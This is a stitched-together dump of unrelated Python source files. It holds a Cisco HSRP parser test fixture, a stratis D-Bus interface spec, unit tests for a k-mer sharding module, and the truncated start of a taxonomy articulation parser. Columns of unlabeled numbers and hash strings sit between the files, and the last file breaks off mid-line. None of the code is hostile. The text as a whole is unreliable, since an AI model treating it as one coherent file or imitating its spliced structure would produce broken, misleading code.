'10.1.1.128' }, 'priority': 100, 'standby_ip_address': 'unknown', 'standby_router': 'unknown', 'standby_state': 'reserving', 'statistics': { 'last_coup_received': 'Never', 'last_coup_sent': 'Never', 'last_resign_received': 'Never', 'last_resign_sent': 'Never', 'last_state_change': '09:37:52', 'num_state_changes': 4 }, 'timers': { 'cfgd_hello_msec': 111, 'cfgd_hold_msec': 333, 'hello_msec': 111, 'hello_msec_flag': True, 'hold_msec': 333, 'hold_msec_flag': True }, 'tracked_interfaces': { 'GigabitEthernet0/0/0/1': { 'interface_name': 'GigabitEthernet0/0/0/1', 'priority_decrement': 251 } }, 'tracked_objects': { 'num_tracked_objects': 1, 'num_tracked_objects_up': 1 }, 'virtual_mac_address': '0000.0c07.ac14' } }, 'slave_groups': { 30: { 'follow': 'group10', 'group_number': 30, 'hsrp_router_state': 'init', 'primary_ipv4_address': { 'address': 'unknown' }, 'priority': 100, 'standby_state': 'stored', 'virtual_mac_address': '0000.0c07.ac1e' } } } } }, 'ipv6': { 'version': { 2: { 'groups': { 10: { 'active_ip_address': 'local', 'active_priority': 100, 'active_router': 'local', 'group_number': 10, 'hsrp_router_state': 'active', 'link_local_ipv6_address': { 'address': 'fe80::205:73ff:fea0:a' }, 'priority': 100, 'standby_ip_address': 'unknown', 'standby_router': 'unknown', 'standby_state': 'reserving', 'statistics': { 'last_coup_received': 'Never', 'last_coup_sent': 'Never', 'last_resign_received': 'Never', 'last_resign_sent': 'Never', 'last_state_change': '09:37:18', 'num_state_changes': 4 }, 'timers': { 'hello_msec': 3000, 'hello_msec_flag': True, 'hold_msec': 10000, 'hold_msec_flag': True }, 'virtual_mac_address': '0005.73a0.000a' }, 20: { 'active_ip_address': 'local', 'active_priority': 100, 'active_router': 'local', 'group_number': 20, 'hsrp_router_state': 'active', 'link_local_ipv6_address': { 'address': 'fe80::205:73ff:fea0:14' }, 'priority': 100, 'standby_ip_address': 'unknown', 'standby_router': 'unknown', 'standby_state': 'reserving', 'statistics': { 'last_coup_received': 'Never', 'last_coup_sent': 'Never', 'last_resign_received': 'Never', 'last_resign_sent': 'Never', 'last_state_change': '09:37:18', 'num_state_changes': 4 }, 'timers': { 'hello_msec': 3000, 'hello_msec_flag': True, 'hold_msec': 10000, 'hold_msec_flag': True }, 'virtual_mac_address': '0005.73a0.0014' }, 30: { 'active_ip_address': 'local', 'active_priority': 100, 'active_router': 'local', 'group_number': 30, 'hsrp_router_state': 'active', 'link_local_ipv6_address': { 'address': 'fe80::205:73ff:fea0:1e' }, 'priority': 100, 'standby_ip_address': 'unknown', 'standby_router': 'unknown', 'standby_state': 'reserving', 'statistics': { 'last_coup_received': 'Never', 'last_coup_sent': 'Never', 'last_resign_received': 'Never', 'last_resign_sent': 'Never', 'last_state_change': '09:37:18', 'num_state_changes': 4 }, 'timers': { 'hello_msec': 3000, 'hello_msec_flag': True, 'hold_msec': 10000, 'hold_msec_flag': True }, 'virtual_mac_address': '0005.73a0.001e' } } } } } }, 'bfd': { 'detection_multiplier': 3, 'enabled': True, 'interval': 15 }, 'delay': { 'minimum_delay': 100, 'reload_delay': 1000 }, 'interface': 'GigabitEthernet0/0/0/0', 'redirects_disable': True, 'use_bia': False } } # 'show hsrp summary' output showHsrpSummaryOutput = \ { 'address_family': { 'ipv4': { 'intf_down': 0, 'intf_total': 1, 'intf_up': 1, 'state': { 'ACTIVE': { 'sessions': 2, 'slaves': 0, 'total': 2 }, 'ALL': { 'sessions': 3, 'slaves': 1, 'total': 4 }, 'INIT': { 'sessions': 1, 'slaves': 1, 'total': 2 }, 'LEARN': { 'sessions': 0, 'slaves': 0, 'total': 0 }, 'LISTEN': { 'sessions': 0, 'slaves': 0, 'total': 0 }, 'SPEAK': { 'sessions': 0, 'slaves': 0, 'total': 0 }, 'STANDBY': { 'sessions': 0, 'slaves': 0, 'total': 0 } }, 'virtual_addresses_active': 3, 'virtual_addresses_inactive': 0, 'vritual_addresses_total': 3 }, 'ipv6': { 'intf_down': 0, 'intf_total': 1, 'intf_up': 1, 'state': { 'ACTIVE': { 'sessions': 3, 'slaves': 0, 'total': 3 }, 'ALL': { 'sessions': 3, 'slaves': 0, 'total': 3 }, 'INIT': { 'sessions': 0, 'slaves': 0, 'total': 0 }, 'LEARN': { 'sessions': 0, 'slaves': 0, 'total': 0 }, 'LISTEN': { 'sessions': 0, 'slaves': 0, 'total': 0 }, 'SPEAK': { 'sessions': 0, 'slaves': 0, 'total': 0 }, 'STANDBY': { 'sessions': 0, 'slaves': 0, 'total': 0 } }, 'virtual_addresses_active': 5, 'virtual_addresses_inactive': 0, 'vritual_addresses_total': 5 } }, 'bfd_sessions_down': 0, 'bfd_sessions_inactive': 1, 'bfd_sessions_up': 0, 'num_bfd_sessions': 1, 'num_tracked_objects': 2, 'tracked_objects_down': 1, 'tracked_objects_up': 1 } # Hsrp Ops Object final output hsrpOpsOutput = \ { 'GigabitEthernet0/0/0/0': { 'address_family': { 'ipv4': { 'version': { 1: { 'groups': { 0: { 'active_ip_address': 'unknown', 'active_router': 'unknown', 'bfd': { 'address': '10.1.1.1', 'interface_name': 'GigabitEthernet0/0/0/1' }, 'group_number': 0, 'hsrp_router_state': 'init', 'preempt': True, 'priority': 100, 'standby_ip_address': 'unknown', 'standby_router': 'unknown', 'timers': { 'hello_msec': 3000, 'hello_msec_flag': True, 'hold_msec': 10000, 'hold_msec_flag': True }, 'virtual_mac_address': '0000.0c07.ac00' }, 10: { 'active_ip_address': 'local', 'active_router': 'local', 'authentication': 'cisco123', 'group_number': 10, 'hsrp_router_state': 'active', 'preempt': True, 'primary_ipv4_address': { 'address': '10.1.1.254' }, 'priority': 63, 'session_name': 'group10', 'standby_ip_address': 'unknown', 'standby_router': 'unknown', 'timers': { 'hello_msec': 10000, 'hello_msec_flag': True, 'hold_msec': 30000, 'hold_msec_flag': True }, 'tracked_interfaces': { 'GigabitEthernet0/0/0/1': { 'interface_name': 'GigabitEthernet0/0/0/1', 'priority_decrement': 123 } }, 'tracked_objects': { '1': { 'object_name': '1', 'priority_decrement': 25 } }, 'virtual_mac_address': '0000.0c07.ac0a' }, 20: { 'active_ip_address': 'local', 'active_router': 'local', 'group_number': 20, 'hsrp_router_state': 'active', 'primary_ipv4_address': { 'address': '10.1.1.128' }, 'priority': 100, 'standby_ip_address': 'unknown', 'standby_router': 'unknown', 'timers': { 'hello_msec': 111, 'hello_msec_flag': True, 'hold_msec': 333, 'hold_msec_flag': True }, 'tracked_interfaces': { 'GigabitEthernet0/0/0/1': { 'interface_name': 'GigabitEthernet0/0/0/1', 'priority_decrement': 251 } }, 'virtual_mac_address': '0000.0c07.ac14' } }, 'slave_groups': { 30: { 'follow': 'group10', 'primary_ipv4_address': { 'address': 'unknown' }, 'virtual_mac_address': '0000.0c07.ac1e' } } } } }, 'ipv6': { 'version': { 2: { 'groups': { 10: { 'active_ip_address': 'local', 'active_router': 'local', 'group_number': 10, 'hsrp_router_state': 'active', 'link_local_ipv6_address': { 'address': 'fe80::205:73ff:fea0:a' }, 'priority': 100, 'standby_ip_address': 'unknown', 'standby_router': 'unknown', 'timers': { 'hello_msec': 3000, 'hello_msec_flag': True, 'hold_msec': 10000, 'hold_msec_flag': True }, 'virtual_mac_address': '0005.73a0.000a' }, 20: { 'active_ip_address': 'local', 'active_router': 'local', 'group_number': 20, 'hsrp_router_state': 'active', 'link_local_ipv6_address': { 'address': 'fe80::205:73ff:fea0:14' }, 'priority': 100, 'standby_ip_address': 'unknown', 'standby_router': 'unknown', 'timers': { 'hello_msec': 3000, 'hello_msec_flag': True, 'hold_msec': 10000, 'hold_msec_flag': True }, 'virtual_mac_address': '0005.73a0.0014' }, 30: { 'active_ip_address': 'local', 'active_router': 'local', 'group_number': 30, 'hsrp_router_state': 'active', 'link_local_ipv6_address': { 'address': 'fe80::205:73ff:fea0:1e' }, 'priority': 100, 'standby_ip_address': 'unknown', 'standby_router': 'unknown', 'timers': { 'hello_msec': 3000, 'hello_msec_flag': True, 'hold_msec': 10000, 'hold_msec_flag': True }, 'virtual_mac_address': '0005.73a0.001e' } } } } } }, 'bfd': { 'detection_multiplier': 3, 'enabled': True, 'interval': 15 }, 'delay': { 'minimum_delay': 100, 'reload_delay': 1000 }, 'interface': 'GigabitEthernet0/0/0/0', 'redirects_disable': True, 'use_bia': False } } # vim: ft=python et sw=4
34.811486
65
0.370822
1,975
27,884
4.904304
0.07443
0.0446
0.042123
0.042742
0.958497
0.955193
0.949205
0.939707
0.939707
0.939707
0
0.074351
0.510902
27,884
800
66
34.855
0.63587
0.00373
0
0.777215
0
0
0.348119
0.040288
0
0
0
0
0
1
0
false
0
0
0
0.006329
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
1
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
188a176096008b78c2780fac5eea422409f5846b
9,802
py
Python
src/stratis_cli/_actions/_introspect.py
bgurney-rh/stratis-cli
7bada40cd4005d429fb4baeda6fdb035b22c28b9
[ "Apache-2.0" ]
null
null
null
src/stratis_cli/_actions/_introspect.py
bgurney-rh/stratis-cli
7bada40cd4005d429fb4baeda6fdb035b22c28b9
[ "Apache-2.0" ]
null
null
null
src/stratis_cli/_actions/_introspect.py
bgurney-rh/stratis-cli
7bada40cd4005d429fb4baeda6fdb035b22c28b9
[ "Apache-2.0" ]
null
null
null
SPECS = { "org.freedesktop.DBus.ObjectManager": """ <interface name="org.freedesktop.DBus.ObjectManager"> <method name="GetManagedObjects"> <arg name="objpath_interfaces_and_properties" type="a{oa{sa{sv}}}" direction="out" /> </method> </interface> """, "org.storage.stratis2.FetchProperties.r4": """ <interface name="org.storage.stratis2.FetchProperties.r4"> <method name="GetAllProperties"> <arg name="results" type="a{s(bv)}" direction="out" /> </method> <method name="GetProperties"> <arg name="properties" type="as" direction="in" /> <arg name="results" type="a{s(bv)}" direction="out" /> </method> </interface> """, "org.storage.stratis2.Manager.r4": """ <interface name="org.storage.stratis2.Manager.r4"> <method name="ConfigureSimulator"> <arg name="denominator" type="u" direction="in" /> <arg name="return_code" type="q" direction="out" /> <arg name="return_string" type="s" direction="out" /> </method> <method name="CreatePool"> <arg name="name" type="s" direction="in" /> <arg name="redundancy" type="(bq)" direction="in" /> <arg name="devices" type="as" direction="in" /> <arg name="key_desc" type="(bs)" direction="in" /> <arg name="clevis_info" type="(b(ss))" direction="in" /> <arg name="result" type="(b(oao))" direction="out" /> <arg name="return_code" type="q" direction="out" /> <arg name="return_string" type="s" direction="out" /> </method> <method name="DestroyPool"> <arg name="pool" type="o" direction="in" /> <arg name="result" type="(bs)" direction="out" /> <arg name="return_code" type="q" direction="out" /> <arg name="return_string" type="s" direction="out" /> </method> <method name="EngineStateReport"> <arg name="result" type="s" direction="out" /> <arg name="return_code" type="q" direction="out" /> <arg name="return_string" type="s" direction="out" /> </method> <method name="SetKey"> <arg name="key_desc" type="s" direction="in" /> <arg name="key_fd" type="h" direction="in" /> <arg name="interactive" type="b" direction="in" /> <arg name="result" type="(bb)" direction="out" /> <arg name="return_code" type="q" direction="out" /> <arg name="return_string" type="s" direction="out" /> </method> <method name="UnlockPool"> <arg name="pool_uuid" type="s" direction="in" /> <arg name="unlock_method" type="s" direction="in" /> <arg name="result" type="(bas)" direction="out" /> <arg name="return_code" type="q" direction="out" /> <arg name="return_string" type="s" direction="out" /> </method> <method name="UnsetKey"> <arg name="key_desc" type="s" direction="in" /> <arg name="result" type="b" direction="out" /> <arg name="return_code" type="q" direction="out" /> <arg name="return_string" type="s" direction="out" /> </method> <property name="Version" type="s" access="read"> <annotation name="org.freedesktop.DBus.Property.EmitsChangedSignal" value="const" /> </property> </interface> """, "org.storage.stratis2.Report.r4": """ <interface name="org.storage.stratis2.Report.r4"> <method name="GetReport"> <arg name="name" type="s" direction="in" /> <arg name="result" type="s" direction="out" /> <arg name="return_code" type="q" direction="out" /> <arg name="return_string" type="s" direction="out" /> </method> </interface> """, "org.storage.stratis2.blockdev.r4": """ <interface name="org.storage.stratis2.blockdev.r4"> <method name="SetUserInfo"> <arg name="id" type="(bs)" direction="in" /> <arg name="changed" type="(bs)" direction="out" /> <arg name="return_code" type="q" direction="out" /> <arg name="return_string" type="s" direction="out" /> </method> <property name="Devnode" type="s" access="read"> <annotation name="org.freedesktop.DBus.Property.EmitsChangedSignal" value="const" /> </property> <property name="HardwareInfo" type="(bs)" access="read"> <annotation name="org.freedesktop.DBus.Property.EmitsChangedSignal" value="const" /> </property> <property name="InitializationTime" type="t" access="read"> <annotation name="org.freedesktop.DBus.Property.EmitsChangedSignal" value="const" /> </property> <property name="PhysicalPath" type="s" access="read"> <annotation name="org.freedesktop.DBus.Property.EmitsChangedSignal" value="const" /> </property> <property name="Pool" type="o" access="read"> <annotation name="org.freedesktop.DBus.Property.EmitsChangedSignal" value="const" /> </property> <property name="Tier" type="q" access="read"> <annotation name="org.freedesktop.DBus.Property.EmitsChangedSignal" value="false" /> </property> <property name="UserInfo" type="(bs)" access="read"> <annotation name="org.freedesktop.DBus.Property.EmitsChangedSignal" value="false" /> </property> <property name="Uuid" type="s" access="read"> <annotation name="org.freedesktop.DBus.Property.EmitsChangedSignal" value="const" /> </property> </interface> """, "org.storage.stratis2.filesystem.r4": """ <interface name="org.storage.stratis2.filesystem.r4"> <method name="SetName"> <arg name="name" type="s" direction="in" /> <arg name="result" type="(bs)" direction="out" /> <arg name="return_code" type="q" direction="out" /> <arg name="return_string" type="s" direction="out" /> </method> <property name="Created" type="s" access="read"> <annotation name="org.freedesktop.DBus.Property.EmitsChangedSignal" value="const" /> </property> <property name="Devnode" type="s" access="read"> <annotation name="org.freedesktop.DBus.Property.EmitsChangedSignal" value="invalidates" /> </property> <property name="Name" type="s" access="read" /> <property name="Pool" type="o" access="read"> <annotation name="org.freedesktop.DBus.Property.EmitsChangedSignal" value="const" /> </property> <property name="Uuid" type="s" access="read"> <annotation name="org.freedesktop.DBus.Property.EmitsChangedSignal" value="const" /> </property> </interface> """, "org.storage.stratis2.pool.r4": """ <interface name="org.storage.stratis2.pool.r4"> <method name="AddCacheDevs"> <arg name="devices" type="as" direction="in" /> <arg name="results" type="(bao)" direction="out" /> <arg name="return_code" type="q" direction="out" /> <arg name="return_string" type="s" direction="out" /> </method> <method name="AddDataDevs"> <arg name="devices" type="as" direction="in" /> <arg name="results" type="(bao)" direction="out" /> <arg name="return_code" type="q" direction="out" /> <arg name="return_string" type="s" direction="out" /> </method> <method name="Bind"> <arg name="pin" type="s" direction="in" /> <arg name="json" type="s" direction="in" /> <arg name="results" type="b" direction="out" /> <arg name="return_code" type="q" direction="out" /> <arg name="return_string" type="s" direction="out" /> </method> <method name="BindKeyring"> <arg name="key_desc" type="s" direction="in" /> <arg name="results" type="b" direction="out" /> <arg name="return_code" type="q" direction="out" /> <arg name="return_string" type="s" direction="out" /> </method> <method name="CreateFilesystems"> <arg name="specs" type="as" direction="in" /> <arg name="results" type="(ba(os))" direction="out" /> <arg name="return_code" type="q" direction="out" /> <arg name="return_string" type="s" direction="out" /> </method> <method name="DestroyFilesystems"> <arg name="filesystems" type="ao" direction="in" /> <arg name="results" type="(bas)" direction="out" /> <arg name="return_code" type="q" direction="out" /> <arg name="return_string" type="s" direction="out" /> </method> <method name="InitCache"> <arg name="devices" type="as" direction="in" /> <arg name="results" type="(bao)" direction="out" /> <arg name="return_code" type="q" direction="out" /> <arg name="return_string" type="s" direction="out" /> </method> <method name="SetName"> <arg name="name" type="s" direction="in" /> <arg name="result" type="(bs)" direction="out" /> <arg name="return_code" type="q" direction="out" /> <arg name="return_string" type="s" direction="out" /> </method> <method name="SnapshotFilesystem"> <arg name="origin" type="o" direction="in" /> <arg name="snapshot_name" type="s" direction="in" /> <arg name="result" type="(bo)" direction="out" /> <arg name="return_code" type="q" direction="out" /> <arg name="return_string" type="s" direction="out" /> </method> <method name="Unbind"> <arg name="results" type="b" direction="out" /> <arg name="return_code" type="q" direction="out" /> <arg name="return_string" type="s" direction="out" /> </method> <method name="UnbindKeyring"> <arg name="results" type="b" direction="out" /> <arg name="return_code" type="q" direction="out" /> <arg name="return_string" type="s" direction="out" /> </method> <property name="Encrypted" type="b" access="read"> <annotation name="org.freedesktop.DBus.Property.EmitsChangedSignal" value="const" /> </property> <property name="Name" type="s" access="read" /> <property name="Uuid" type="s" access="read"> <annotation name="org.freedesktop.DBus.Property.EmitsChangedSignal" value="const" /> </property> </interface> """, }
44.757991
96
0.620894
1,170
9,802
5.155556
0.097436
0.107924
0.090517
0.129145
0.862732
0.840849
0.779012
0.757792
0.743369
0.725298
0
0.002976
0.177311
9,802
218
97
44.963303
0.74504
0
0
0.665138
0
0.004587
0.98735
0.165374
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
18d4a602578dad9a6d42fb7245ad0c26d44b6bb2
8,149
py
Python
adapt/specificity/tests/test_kmer_shard.py
broadinstitute/adapt
ae0346dbd8c77fa9bcefbec5358cc750b146474d
[ "MIT" ]
12
2020-11-25T21:19:27.000Z
2022-03-07T10:55:52.000Z
adapt/specificity/tests/test_kmer_shard.py
broadinstitute/adapt
ae0346dbd8c77fa9bcefbec5358cc750b146474d
[ "MIT" ]
17
2020-11-30T15:49:13.000Z
2022-03-17T01:12:45.000Z
adapt/specificity/tests/test_kmer_shard.py
broadinstitute/adapt
ae0346dbd8c77fa9bcefbec5358cc750b146474d
[ "MIT" ]
3
2021-04-28T13:48:07.000Z
2022-01-10T16:51:34.000Z
"""Tests for kmer_shard module. """ import unittest from adapt.specificity import kmer_shard __author__ = 'Hayden Metsky <hayden@mit.edu>' class TestTrieSpace(unittest.TestCase): def test_get(self): # Build and fetch from a trie space ts = kmer_shard.TrieSpace() t = ts.get('abc', make=True) t.insert([('A', 4)]) t = ts.get('abc', make=False) self.assertEqual(t.query('A') , [4]) self.assertIsNone(ts.get('def', make=False)) class TestSignatureFunctions(unittest.TestCase): def test_signatures_with_mismatches(self): self.assertCountEqual(kmer_shard._signatures_with_mismatches('GTG', 0), ['GTG']) self.assertCountEqual(kmer_shard._signatures_with_mismatches('GTG', 1), ['GTG', 'TTG', 'GGG', 'GTT']) self.assertCountEqual(kmer_shard._signatures_with_mismatches('GTG', 2), ['GTG', 'TTG', 'GGG', 'GTT', 'TGG', 'TTT', 'GGT']) def test_full_signature(self): self.assertEqual(kmer_shard._full_signature('ATCGATCG'), 'GTTGGTTG') def test_full_signatures_with_mismatches(self): self.assertCountEqual( kmer_shard._full_signatures_with_mismatches('ATG', 1), ['GTG', 'TTG', 'GGG', 'GTT']) def test_split_signature(self): self.assertEqual(kmer_shard._split_signature('ATCG', 0), 'GT') self.assertEqual(kmer_shard._split_signature('ATCG', 1), 'TG') self.assertEqual(kmer_shard._split_signature('ATCGA', 0), 'GTT') self.assertEqual(kmer_shard._split_signature('ATCGA', 1), 'GG') def test_split_signatures_with_mismatches(self): self.assertCountEqual( kmer_shard._split_signatures_with_mismatches('ATCG', 0, 1), ['GT', 'TT', 'GG']) self.assertCountEqual( kmer_shard._split_signatures_with_mismatches('ATCG', 1, 1), ['TG', 'GG', 'TT']) class TestTrieSpaceOfKmersEvenK(unittest.TestCase): """Test TrieSpaceOfKmersFullSig and TrieSpaceOfKmersSplitSig using k-mers with even length (i.e., k is even). This is useful to split up because the methods treat even and odd lengths slightly differently. """ def build(self, cls): # cls is the class to instantiate tsok = cls() tsok.add([ ('ATCGAT', {(0,1), (0,2), (0,4), (1,1)}), ('ATAAAT', {(0,3), (2,1)}) ]) tsok.add([ ('GGGGGG', {(3,1), (3,2)}), ('TTCGAT', {(0,5), (1,2)}) ]) return tsok def query_tests(self, tsok): # Exact matches, no G-U pairing self.assertEqual(tsok.query('ATCGAT', m=0, gu_pairing=False), {0: {1,2,4}, 1: {1}}) self.assertEqual(tsok.query('ATAAAT', m=0, gu_pairing=False), {0: {3}, 2: {1}}) self.assertEqual(tsok.query('GGGGGG', m=0, gu_pairing=False), {3: {1,2}}) self.assertEqual(tsok.query('TTCGAT', m=0, gu_pairing=False), {0: {5}, 1: {2}}) self.assertEqual(tsok.query('CCCCCC', m=0, gu_pairing=False), {}) # Queries 1 mismatch away, no G-U pairing self.assertEqual(tsok.query('ATCGAT', m=1, gu_pairing=False), {0: {1,2,4,5}, 1: {1,2}}) self.assertEqual(tsok.query('GGTGGG', m=1, gu_pairing=False), {3: {1,2}}) self.assertEqual(tsok.query('GGTTGG', m=1, gu_pairing=False), {}) # Exact matches, with G-U pairing self.assertEqual(tsok.query('ACCGAT', m=0, gu_pairing=True), {0: {1,2,4}, 1: {1}}) self.assertEqual(tsok.query('ACCAAT', m=0, gu_pairing=True), {0: {1,2,4}, 1: {1}}) self.assertEqual(tsok.query('AAAAAA', m=0, gu_pairing=True), {3: {1,2}}) # Queries 1 mismatch away, with G-U pairing self.assertEqual(tsok.query('ACCGAT', m=1, gu_pairing=True), {0: {1,2,4,5}, 1: {1,2}}) self.assertEqual(tsok.query('GGTGGA', m=1, gu_pairing=True), {3: {1,2}}) self.assertEqual(tsok.query('GGTTGG', m=1, gu_pairing=True), {}) self.assertEqual(tsok.query('ACATAT', m=1, gu_pairing=True), {0: {3}, 2: {1}}) self.assertEqual(tsok.query('AAATAT', m=1, gu_pairing=True), {}) # 6 mismatches away should yield all results self.assertEqual(tsok.query('AAAAAA', m=6, gu_pairing=False), {0: {1,2,3,4,5}, 1: {1,2}, 2: {1}, 3: {1,2}}) self.assertEqual(tsok.query('AAAAAA', m=6, gu_pairing=True), {0: {1,2,3,4,5}, 1: {1,2}, 2: {1}, 3: {1,2}}) def test_with_full_signatures(self): tsok = self.build(kmer_shard.TrieSpaceOfKmersFullSig) self.query_tests(tsok) def test_with_split_signatures(self): tsok = self.build(kmer_shard.TrieSpaceOfKmersSplitSig) self.query_tests(tsok) class TestTrieSpaceOfKmersOddK(unittest.TestCase): """Test TrieSpaceOfKmersFullSig and TrieSpaceOfKmersSplitSig using k-mers with odd length (i.e., k is odd). This is useful to split up because the methods treat even and odd lengths slightly differently. """ # TODO make these k-mers be odd length def build(self, cls): # cls is the class to instantiate tsok = cls() tsok.add([ ('ATCGAT', {(0,1), (0,2), (0,4), (1,1)}), ('ATAAAT', {(0,3), (2,1)}) ]) tsok.add([ ('GGGGGG', {(3,1), (3,2)}), ('TTCGAT', {(0,5), (1,2)}) ]) return tsok def query_tests(self, tsok): # Exact matches, no G-U pairing self.assertEqual(tsok.query('ATCGAT', m=0, gu_pairing=False), {0: {1,2,4}, 1: {1}}) self.assertEqual(tsok.query('ATAAAT', m=0, gu_pairing=False), {0: {3}, 2: {1}}) self.assertEqual(tsok.query('GGGGGG', m=0, gu_pairing=False), {3: {1,2}}) self.assertEqual(tsok.query('TTCGAT', m=0, gu_pairing=False), {0: {5}, 1: {2}}) self.assertEqual(tsok.query('CCCCCC', m=0, gu_pairing=False), {}) # Queries 1 mismatch away, no G-U pairing self.assertEqual(tsok.query('ATCGAT', m=1, gu_pairing=False), {0: {1,2,4,5}, 1: {1,2}}) self.assertEqual(tsok.query('GGTGGG', m=1, gu_pairing=False), {3: {1,2}}) self.assertEqual(tsok.query('GGTTGG', m=1, gu_pairing=False), {}) # Exact matches, with G-U pairing self.assertEqual(tsok.query('ACCGAT', m=0, gu_pairing=True), {0: {1,2,4}, 1: {1}}) self.assertEqual(tsok.query('ACCAAT', m=0, gu_pairing=True), {0: {1,2,4}, 1: {1}}) self.assertEqual(tsok.query('AAAAAA', m=0, gu_pairing=True), {3: {1,2}}) # Queries 1 mismatch away, with G-U pairing self.assertEqual(tsok.query('ACCGAT', m=1, gu_pairing=True), {0: {1,2,4,5}, 1: {1,2}}) self.assertEqual(tsok.query('GGTGGA', m=1, gu_pairing=True), {3: {1,2}}) self.assertEqual(tsok.query('GGTTGG', m=1, gu_pairing=True), {}) self.assertEqual(tsok.query('ACATAT', m=1, gu_pairing=True), {0: {3}, 2: {1}}) self.assertEqual(tsok.query('AAATAT', m=1, gu_pairing=True), {}) # 6 mismatches away should yield all results self.assertEqual(tsok.query('AAAAAA', m=6, gu_pairing=False), {0: {1,2,3,4,5}, 1: {1,2}, 2: {1}, 3: {1,2}}) self.assertEqual(tsok.query('AAAAAA', m=6, gu_pairing=True), {0: {1,2,3,4,5}, 1: {1,2}, 2: {1}, 3: {1,2}}) def test_with_full_signatures(self): tsok = self.build(kmer_shard.TrieSpaceOfKmersFullSig) self.query_tests(tsok) def test_with_split_signatures(self): tsok = self.build(kmer_shard.TrieSpaceOfKmersSplitSig) self.query_tests(tsok)
37.902326
79
0.550252
1,064
8,149
4.098684
0.12218
0.144462
0.156845
0.19812
0.866086
0.849117
0.837652
0.79867
0.734235
0.705801
0
0.045812
0.282121
8,149
214
80
38.079439
0.699658
0.115842
0
0.743421
0
0
0.059936
0
0
0
0
0.004673
0.322368
1
0.092105
false
0
0.013158
0
0.144737
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
7a198d30aceb8dfff7966ad00c565f659e7555fc
262
py
Python
Lib/site-packages/QtModularUiPack/ViewModels/__init__.py
fochoao/cpython
3dc84b260e5bced65ebc2c45c40c8fa65f9b5aa9
[ "bzip2-1.0.6", "0BSD" ]
3
2019-11-11T12:09:23.000Z
2022-02-17T10:02:55.000Z
QtModularUiPack/ViewModels/__init__.py
dowerner/QtModularUiPack
de2ce6ba3a1cd52ca00eaea3ea3bb2247fe76ba3
[ "Apache-2.0" ]
20
2021-05-03T18:02:23.000Z
2022-03-12T12:01:04.000Z
Lib/site-packages/QtModularUiPack/ViewModels/__init__.py
fochoao/cpython
3dc84b260e5bced65ebc2c45c40c8fa65f9b5aa9
[ "bzip2-1.0.6", "0BSD" ]
2
2019-11-11T12:09:31.000Z
2019-11-11T12:09:42.000Z
from QtModularUiPack.ViewModels.base_view_model import BaseViewModel from QtModularUiPack.ViewModels.base_context_aware_view_model import BaseContextAwareViewModel from QtModularUiPack.ViewModels.modular_application_view_model import ModularApplicationViewModel
65.5
97
0.931298
27
262
8.703704
0.518519
0.242553
0.370213
0.280851
0
0
0
0
0
0
0
0
0.045802
262
3
98
87.333333
0.94
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
7
e13407f896a39ce16b0a24ee0e9c32433b961a49
46,730
py
Python
src-el/articulation.py
EulerProject/EulerX
49e63e6a27be97ab30832180a47d214494388e15
[ "MIT" ]
15
2016-02-17T20:48:29.000Z
2021-03-05T20:38:05.000Z
src-el/articulation.py
eddy7896/EulerX
49e63e6a27be97ab30832180a47d214494388e15
[ "MIT" ]
16
2015-02-05T18:38:48.000Z
2021-06-14T11:38:36.000Z
src-el/articulation.py
eddy7896/EulerX
49e63e6a27be97ab30832180a47d214494388e15
[ "MIT" ]
4
2016-01-26T03:24:52.000Z
2020-01-09T07:57:15.000Z
# Copyright (c) 2014 University of California, Davis # # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the # "Software"), to deal in the Software without restriction, including # without limitation the rights to use, copy, modify, merge, publish, # distribute, sublicense, and/or sell copies of the Software, and to # permit persons to whom the Software is furnished to do so, subject to # the following conditions: # # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. # IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY # CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, # TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE # SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. import re import copy import commands from relations import * from taxonomy2 import * from helper2 import * class Articulation: def __init__(self, initInput="", mapping=None): self.string = initInput self.numTaxon = 2 self.confidence = 2 self.relations = 0 self.sumLabel = False if (initInput == ""): self.taxon1 = Taxon() self.taxon2 = Taxon() self.taxon3 = Taxon() self.taxon4 = Taxon() self.taxon5 = Taxon() return None # Parsing begins here if (initInput.find("confidence=") != -1): elements = re.match("(.*) confidence=(.*)", initInput) initInput = elements.group(1) self.confidence = int(elements.group(2)) if (initInput.find("lsum ") != -1 or initInput.find("l3sum ") != -1 or\ initInput.find("l4sum ") != -1 or initInput.find("rsum ") != -1 or\ initInput.find("r3sum ") != -1 or initInput.find("r4sum ") != -1 or\ initInput.find("ldiff ") != -1 or initInput.find("rdiff ") != -1 or initInput.find("e4sum") != -1 or initInput.find("i4sum") != -1): self.sumLabel = True if self.sumLabel: if (initInput.find("lsum") != -1): self.relations = relation["+="] elements = re.match("(.*)\.(.*) (.*)\.(.*) lsum (.*)\.(.*)", initInput) elif (initInput.find("l3sum") != -1): self.relations = relation["+3="] elements = re.match("(.*)\.(.*) (.*)\.(.*) (.*)\.(.*) l3sum (.*)\.(.*)", initInput) elif (initInput.find("l4sum") != -1): self.relations = relation["+4="] elements = re.match("(.*)\.(.*) (.*)\.(.*) (.*)\.(.*) (.*)\.(.*) l4sum (.*)\.(.*)", initInput) elif (initInput.find("rsum") != -1): self.relations = relation["=+"] elements = re.match("(.*)\.(.*) rsum (.*)\.(.*) 